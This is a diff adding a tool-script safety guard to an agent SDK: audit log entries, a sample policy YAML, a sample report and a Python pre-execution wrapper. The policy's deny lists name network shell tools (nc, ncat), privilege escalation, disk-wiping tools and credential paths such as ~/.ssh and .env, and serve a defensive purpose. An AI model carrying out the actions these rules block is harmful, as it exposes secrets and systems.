+{"decision":"deny","duration_ms":0.33549999352544546,"event_id":"rep-9b522b25146b4786","execution_blocked":true,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-9b522b25146b4786","risk_level":"high","rule_ids":["RES001_UNBOUNDED_LOOP"],"scanner_version":"1.0.0","script_sha256":"010acb05343fb58a55c4c476833b41aa92ec3f4d92c0a215c3fdfe7e056933d3","timestamp":"2026-07-14T09:30:17.092157+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"deny","duration_ms":0.3730000462383032,"event_id":"rep-e5a7cebdfabb441f","execution_blocked":true,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-e5a7cebdfabb441f","risk_level":"high","rule_ids":["SECRET001_LOG_SINK"],"scanner_version":"1.0.0","script_sha256":"cb3345effcde943a3ff41940a638a0b6d3858874fe1c2d24fc915d7ea11391df","timestamp":"2026-07-14T09:30:17.094796+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"needs_human_review","duration_ms":0.2604000037536025,"event_id":"rep-b985c3c2d76b43bb","execution_blocked":true,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-b985c3c2d76b43bb","risk_level":"medium","rule_ids":["PROC003_SHELL_OPERATOR"],"scanner_version":"1.0.0","script_sha256":"51ba004f95b1c70917f73e0505224f8b3f5336c1a9749cbcc74294a5853c12bf","timestamp":"2026-07-14T09:30:17.096907+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"deny","duration_ms":0.278900028206408,"event_id":"rep-715ec01c675147f4","execution_blocked":true,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-715ec01c675147f4","risk_level":"high","rule_ids":["FILE004_DOTENV_READ"],"scanner_version":"1.0.0","script_sha256":"aa52682b688ee2ac1359c7f1735b4156d13b51435ddd5b6cf023ea79008089cf","timestamp":"2026-07-14T09:30:17.100147+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"needs_human_review","duration_ms":0.48740010242909193,"event_id":"rep-fb58b8d8e8764943","execution_blocked":true,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-fb58b8d8e8764943","risk_level":"medium","rule_ids":["PROC001_PROCESS_EXEC"],"scanner_version":"1.0.0","script_sha256":"d7c9ce3aa62f072faa9355fc411d807a933f34d770aa626e78c43607cb795a92","timestamp":"2026-07-14T09:30:17.102145+00:00","tool_kind":"unknown","tool_name":"cli"} diff --git a/trpc_agent_sdk/tools/safety/examples/tool_safety_policy.yaml b/trpc_agent_sdk/tools/safety/examples/tool_safety_policy.yaml new file mode 100644 index 00000000..44dc7715 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/examples/tool_safety_policy.yaml @@ -0,0 +1,105 @@ +# Tool Script Safety Guard policy +# +# This is a sample policy. Modify the lists and limits to match your +# environment. The guard hot-reloads only when the policy file changes +# and a new ToolSafetyGuard / ToolScriptSafetyFilter is constructed. +version: "1" + +defaults: + unknown_construct: needs_human_review + guard_error: deny + human_review_blocks_execution: true + +limits: + max_timeout_seconds: 60 + max_output_bytes: 1048576 + max_script_bytes: 262144 + max_sleep_seconds: 30 + max_parallel_tasks: 16 + max_processes: 8 + max_file_write_bytes: 10485760 + +network: + allow_domains: + - api.github.com + - "*.internal.example.com" + - pypi.org + - files.pythonhosted.org + deny_ip_literals: true + +commands: + allow: + - python + - python3 + - pytest + - git + deny: + - sudo + - su + - doas + - pkexec + - chmod + - chown + - mount + - umount + - nc + - ncat + - mkfs + - dd + +paths: + deny: + - "~/.ssh" + - "/etc" + - "/root" + - "/var/log/auth.log" + - ".env" + - "**/*credentials*" + - "**/*token*" + +dependencies: + decision: deny + +sensitive_env_key_patterns: + - "*KEY*" + - "*TOKEN*" + - "*PASSWORD*" + - "*SECRET*" + - "*CREDENTIAL*" + +tools: + workspace_exec: + execution_capable: true + language: bash + script: command + cwd: cwd + env: env + timeout: timeout_sec + skill_run: + execution_capable: true + language: bash + script: command + cwd: cwd + env: env + timeout: timeout + skill_exec: + execution_capable: true + language: bash + script: command + cwd: cwd + env: env + timeout: timeout + python_exec: + execution_capable: true + language: python + script: code + cwd: cwd + env: env + timeout: timeout + +rule_overrides: {} + +audit: + enabled: true + required: true + path: tool_safety_audit.jsonl diff --git a/trpc_agent_sdk/tools/safety/examples/tool_safety_report.json b/trpc_agent_sdk/tools/safety/examples/tool_safety_report.json new file mode 100644 index 00000000..b32c9fe7 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/examples/tool_safety_report.json @@ -0,0 +1,33 @@ +{ + "report_id": "rep-47df434f9e694e5a", + "decision": "deny", + "risk_level": "critical", + "rule_ids": [ + "FILE001_RECURSIVE_DELETE" + ], + "findings": [ + { + "rule_id": "FILE001_RECURSIVE_DELETE", + "category": "file", + "risk_level": "critical", + "decision": "deny", + "evidence": { + "snippet": "shutil.rmtree(path)", + "line": 12, + "column": 5, + "language": "python", + "extras": { + "target": "path", + "explicit": "False" + } + }, + "recommendation": "Avoid recursive delete; require explicit file list." + } + ], + "recommendation": "Block execution and request a human-approved path.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "190f022e0277f968f73f655c896143edd741fd126d3e4e2032ef49117e533bd9", + "scan_duration_ms": 0.6739000091329217, + "redacted": false +} \ No newline at end of file diff --git a/trpc_agent_sdk/tools/safety/wrapper.py b/trpc_agent_sdk/tools/safety/wrapper.py new file mode 100644 index 00000000..7933facc --- /dev/null +++ b/trpc_agent_sdk/tools/safety/wrapper.py @@ -0,0 +1,394 @@ +"""Generic pre-execution wrappers. + +These wrappers are the recommended way to enforce safety decisions when +direct framework integration is not yet wired in. They take any +callable (sync or async) and any duck-typed "code executor" object, and +guarantee that the delegate is never reached for ``deny`` or un-approved +``needs_human_review`` outcomes. + +Design +------ +* The wrapper is the *only* enforcement point in this standalone + package. It is intentionally small so the audit trail is unambiguous: + exactly one audit event per call, written before the delegate runs. +* The wrapper does not impose a CPU/memory limit. The plan calls out + that real resource enforcement belongs to the sandbox/runtime; the + wrapper only applies the static guard decision and the output-byte + cap on what the agent observes. +""" + +from __future__ import annotations + +import asyncio +import inspect +from typing import Any, Callable, Generic, Mapping, TypeVar + +from trpc_agent_sdk.tools.safety._audit import AuditSink, InMemoryAuditSink, NullAuditSink +from trpc_agent_sdk.tools.safety._filter import BlockedExecutionError, ToolScriptSafetyFilter +from trpc_agent_sdk.tools.safety._guard import ToolSafetyGuard +from trpc_agent_sdk.tools.safety._models import ( + SafetyReport, + SafetyScanRequest, + ScriptLanguage, + ToolKind, +) +from trpc_agent_sdk.tools.safety._policy import ToolSafetyPolicy + +T = TypeVar("T") + + +class SafetyWrappedCallable(Generic[T]): + """Wrap a callable so it runs only when the guard allows it. + + Example + ------- + >>> import os + >>> from trpc_agent_sdk.tools.safety import ( + ... SafetyWrappedCallable, ToolSafetyGuard, load_safety_policy, + ... ) + >>> policy = load_safety_policy("policy.yaml") + >>> guard = ToolSafetyGuard(policy) + >>> wrapped = SafetyWrappedCallable(guard, os.system, + ... tool_name="os.system", + ... language=ScriptLanguage.BASH, + ... script_kw="script") + >>> # wrapped("ls") runs only if the policy allows it. + """ + + def __init__( + self, + guard: ToolSafetyGuard, + delegate: Callable[..., T], + *, + tool_name: str, + language: ScriptLanguage = ScriptLanguage.UNKNOWN, + tool_kind: ToolKind = ToolKind.UNKNOWN, + script_kw: str | None = None, + script_pos: int | None = None, + cwd_kw: str | None = None, + env_kw: str | None = None, + timeout_kw: str | None = None, + argv_kw: str | None = None, + metadata_kw: str | None = None, + output_bytes_kw: str | None = None, + filter: ToolScriptSafetyFilter | None = None, + ) -> None: + if (script_kw is None) == (script_pos is None): + raise ValueError( + "specify exactly one of script_kw or script_pos") + self.guard = guard + self.delegate = delegate + self.tool_name = tool_name + self.language = language + self.tool_kind = tool_kind + self.script_kw = script_kw + self.script_pos = script_pos + self.cwd_kw = cwd_kw + self.env_kw = env_kw + self.timeout_kw = timeout_kw + self.argv_kw = argv_kw + self.metadata_kw = metadata_kw + self.output_bytes_kw = output_bytes_kw + self._filter = filter or ToolScriptSafetyFilter( + guard, audit_sink=_default_audit_sink(guard.policy)) + + def __call__(self, *args: Any, **kwargs: Any) -> T: + report = self._enforce(args, kwargs) + # Set sanitized trace args for downstream telemetry consumers. + try: + return self.delegate(*args, **kwargs) + finally: + _ = report # caller can inspect via last_report + + async def call_async(self, *args: Any, **kwargs: Any) -> T: + report = await self._enforce_async(args, kwargs) + result = self.delegate(*args, **kwargs) + if inspect.isawaitable(result): + return await result + return result # type: ignore[return-value] + + @property + def safety_filter(self) -> ToolScriptSafetyFilter: + return self._filter + + def _enforce( + self, + args: tuple[Any, ...], + kwargs: dict[str, Any], + ) -> SafetyReport: + request = self._build_request(args, kwargs) + return self._filter.enforce_request(request) + + async def _enforce_async( + self, + args: tuple[Any, ...], + kwargs: dict[str, Any], + ) -> SafetyReport: + request = self._build_request(args, kwargs) + return await self._filter.enforce_request_async(request) + + def _build_request( + self, + args: tuple[Any, ...], + kwargs: dict[str, Any], + ) -> SafetyScanRequest: + script = self._extract_script(args, kwargs) + cwd = kwargs.get(self.cwd_kw) if self.cwd_kw else None + env = kwargs.get(self.env_kw) if self.env_kw else None + timeout = kwargs.get(self.timeout_kw) if self.timeout_kw else None + argv = kwargs.get(self.argv_kw) if self.argv_kw else None + metadata = kwargs.get(self.metadata_kw) if self.metadata_kw else None + output_bytes = kwargs.get(self.output_bytes_kw) \ + if self.output_bytes_kw else None + return SafetyScanRequest( + tool_name=self.tool_name, + tool_kind=self.tool_kind, + language=self.language, + script=script or "", + cwd=str(cwd) if cwd is not None else None, + env={str(k): str(v) for k, v in (env or {}).items()} + if isinstance(env, Mapping) else {}, + argv=_coerce_argv(argv), + metadata=dict(metadata) if isinstance(metadata, Mapping) else {}, + requested_timeout_seconds=float(timeout) + if isinstance(timeout, (int, float)) else None, + requested_output_bytes=int(output_bytes) + if isinstance(output_bytes, int) else None, + ) + + def _extract_script( + self, + args: tuple[Any, ...], + kwargs: dict[str, Any], + ) -> str: + if self.script_kw is not None: + value = kwargs.get(self.script_kw, "") + elif self.script_pos is not None: + try: + value = args[self.script_pos] + except IndexError: + value = "" + else: # pragma: no cover - constructor forbids this + value = "" + if value is None: + return "" + if isinstance(value, str): + return value + if isinstance(value, (list, tuple)): + return " ".join(str(v) for v in value) + return str(value) + + +class SafetyCheckedExecutor: + """Wrap a duck-typed code executor. + + The delegate must expose ``async def execute_code(self, input)`` and + return an object with at least ``outcome`` and ``output`` attributes + (or be a dict with the same keys). The wrapper: + + 1. Scans every code block in the input. + 2. Combines the reports; emits one audit event before delegating. + 3. Returns a failed result without calling the delegate on deny or + un-approved review. + 4. Truncates the returned output to ``policy.limits.max_output_bytes``. + """ + + def __init__( + self, + guard: ToolSafetyGuard, + delegate: Any, + *, + tool_name: str = "code_executor", + language: ScriptLanguage = ScriptLanguage.PYTHON, + effective_timeout_seconds: float | None = None, + audit_sink: AuditSink | None = None, + filter: ToolScriptSafetyFilter | None = None, + ) -> None: + self.guard = guard + self.delegate = delegate + self.tool_name = tool_name + self.language = language + self.effective_timeout_seconds = effective_timeout_seconds + self._filter = filter or ToolScriptSafetyFilter( + guard, audit_sink=audit_sink or _default_audit_sink(guard.policy)) + + async def execute_code(self, execution_input: Any) -> Any: + requests = self._build_requests(execution_input) + if not requests: + return _make_failure_result("no code blocks to scan") + reports: list[SafetyReport] = [] + for request in requests: + reports.append(self.guard.scan(request)) + combined = SafetyReport.combine( + reports, + report_id=reports[0].report_id, + policy_hash=self.guard.policy_hash, + policy_version=self.guard.policy_version, + scan_duration_ms=sum(r.scan_duration_ms for r in reports), + ) + blocked = self._filter.blocks_execution(combined) + await self._filter.record_report_async( + requests[0], combined, blocked=blocked) + if blocked: + return _render_executor_block(combined) + result = await self.delegate.execute_code(execution_input) + return _truncate_output(result, + self.guard.policy.limits.max_output_bytes) + + def _build_requests(self, execution_input: Any) -> list[SafetyScanRequest]: + blocks = _extract_code_blocks(execution_input) + requests: list[SafetyScanRequest] = [] + for idx, (block, block_language) in enumerate(blocks): + language = block_language or self.language + metadata: dict[str, Any] = {"block_index": idx} + if language == ScriptLanguage.UNKNOWN: + metadata["execution_capable"] = True + requests.append(SafetyScanRequest( + tool_name=self.tool_name, + tool_kind=ToolKind.CODE_EXECUTOR, + language=language, + script=block, + metadata=metadata, + requested_timeout_seconds=self.effective_timeout_seconds, + )) + return requests + + +# --------------------------------------------------------------------------- # +# Helpers +# --------------------------------------------------------------------------- # + +def _default_audit_sink(policy: ToolSafetyPolicy) -> AuditSink: + if not policy.audit.enabled: + return NullAuditSink() + if policy.audit.path: + from trpc_agent_sdk.tools.safety._audit import JsonlAuditSink + return JsonlAuditSink(policy.audit.path) + return InMemoryAuditSink() + + +def _coerce_argv(value: Any) -> tuple[str, ...]: + if isinstance(value, str): + return (value,) + if isinstance(value, (list, tuple)): + return tuple(str(item) for item in value) + return () + + +def _extract_code_blocks( + execution_input: Any, +) -> list[tuple[str, ScriptLanguage | None]]: + """Pull code and declared language from common execution-input shapes.""" + + if isinstance(execution_input, str): + return [(execution_input, None)] + if isinstance(execution_input, Mapping): + blocks = _normalize_code_blocks(execution_input.get("code_blocks")) + if blocks: + return blocks + code = execution_input.get("code") or execution_input.get("script") # type: ignore[union-attr] + if isinstance(code, str): + return [(code, _coerce_script_language( + execution_input.get("language")))] + if isinstance(code, (list, tuple)): + return [(str(block), None) for block in code] + code_blocks = getattr(execution_input, "code_blocks", None) + if code_blocks is not None: + blocks = _normalize_code_blocks(code_blocks) + if blocks: + return blocks + code_attr = getattr(execution_input, "code", None) + if isinstance(code_attr, str): + return [(code_attr, _coerce_script_language( + getattr(execution_input, "language", None)))] + return [] + + +def _normalize_code_blocks( + raw_blocks: Any, +) -> list[tuple[str, ScriptLanguage | None]]: + if not isinstance(raw_blocks, (list, tuple)): + return [] + blocks: list[tuple[str, ScriptLanguage | None]] = [] + for block in raw_blocks: + if isinstance(block, str): + blocks.append((block, None)) + continue + if isinstance(block, Mapping): + code = block.get("code") + language = block.get("language") + else: + code = getattr(block, "code", None) + language = getattr(block, "language", None) + if isinstance(code, str): + blocks.append((code, _coerce_script_language(language))) + return blocks + + +def _coerce_script_language(value: Any) -> ScriptLanguage | None: + if value is None or not str(value).strip(): + return None + normalized = str(value).strip().lower() + aliases = {"sh": "bash", "shell": "bash", "zsh": "bash", "py": "python"} + try: + return ScriptLanguage(aliases.get(normalized, normalized)) + except ValueError: + return ScriptLanguage.UNKNOWN + + +def _make_failure_result(message: str) -> Any: + return _ExecutorFailure(message) + + +class _ExecutorFailure: + """Simple structured failure that exposes ``outcome`` and ``output``. + + The shape matches what most duck-typed executors return so callers + can consume it without caring whether the wrapper delegated. + """ + + def __init__(self, message: str) -> None: + self.outcome = "FAILURE" + self.output = message + + def __repr__(self) -> str: # pragma: no cover - debug helper + return f"_ExecutorFailure({self.output!r})" + + +def _render_executor_block(report: SafetyReport) -> Any: + payload = ( + f"[trpc_agent_sdk.tools.safety] execution blocked: decision={report.decision.value} " + f"risk={report.risk_level.label()} rules={','.join(report.rule_ids)} " + f"report_id={report.report_id}" + ) + return _ExecutorFailure(payload) + + +def _truncate_output(result: Any, max_bytes: int) -> Any: + if max_bytes <= 0: + return result + output = result.get("output") if isinstance(result, Mapping) \ + else getattr(result, "output", None) + if isinstance(output, str): + encoded = output.encode("utf-8", errors="ignore") + if len(encoded) <= max_bytes: + return result + marker = f"\n[truncated {len(encoded) - max_bytes} bytes]" + marker_bytes = marker.encode("utf-8") + if len(marker_bytes) >= max_bytes: + replacement = marker_bytes[:max_bytes].decode( + "utf-8", errors="ignore") + else: + prefix_bytes = encoded[:max_bytes - len(marker_bytes)] + prefix = prefix_bytes.decode("utf-8", errors="ignore") + replacement = prefix + marker + if isinstance(result, dict): + result["output"] = replacement + return result + if isinstance(result, Mapping): + return {**result, "output": replacement} + try: + object.__setattr__(result, "output", replacement) + except (AttributeError, TypeError): + return replacement + return result